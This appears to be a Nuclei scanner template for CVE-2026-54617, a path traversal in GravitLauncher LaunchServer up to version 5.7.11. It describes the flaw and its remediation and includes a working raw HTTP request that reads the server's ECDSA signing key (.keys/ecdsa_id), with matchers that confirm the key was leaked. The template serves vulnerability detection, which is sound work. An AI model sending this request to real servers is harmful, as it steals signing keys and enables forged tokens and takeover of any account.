GravitLauncher LaunchServer <=5.7.11 - Unauthenticated Path Traversal to Arbitrary File Read

id: CVE-2026-54617

info:
  name: GravitLauncher LaunchServer <=5.7.11 - Unauthenticated Path Traversal to Arbitrary File Read
  author: str4k3r
  severity: critical
  description: |
    LaunchServer's Netty FileServerHandler computes the served path by stripping one leading character on the assumption that every request-target begins with '/'. Netty's HttpServerCodec accepts a request-target without a leading slash verbatim, so a request without a leading slash bypasses path normalization and escapes the updatesDir. The file server is enabled by default (netty.fileServerEnabled=true) on 0.0.0.0:9274 with no authentication, allowing an unauthenticated remote GET to read any file readable by the LaunchServer process including its own ECDSA signing key (.keys/ecdsa_id), which signs access JWTs and enables full authentication bypass for any account.
  impact: |
    An unauthenticated attacker can read arbitrary files including the ECDSA signing key, enabling them to forge access JWTs and bypass authentication for any account.
  remediation: |
    Upgrade GravitLauncher LaunchServer to a version newer than 5.7.11.
  reference:
    - https://github.com/GravitLauncher/Launcher/security/advisories/GHSA-5g75-477j-2c2f
    - https://github.com/GravitLauncher/Launcher/commit/1e0b3a3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 9.8
    cve-id: CVE-2026-54617
    epss-score: 0.00677
    epss-percentile: 0.50933
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: gravitlauncher
    product: launchserver
  tags: cve,cve2026,gravitlauncher,launchserver,path-traversal,unauth

http:
  - raw:
      - |+
        GET ../../.keys/ecdsa_id HTTP/1.1
        Host: {{Hostname}}

    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(hex_encode(body), "3041020100301306072a8648ce3d020106082a8648ce3d0301070427302502010104")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402201dde3d2299a96c878979520eef601eb98105ac317605101f4c7779441655545a0220663f0f3f8287060facb1bc8429118286355c25c9016bfad2899b09e1d2d476e6:922c64590222798bb761d5b6d8e72950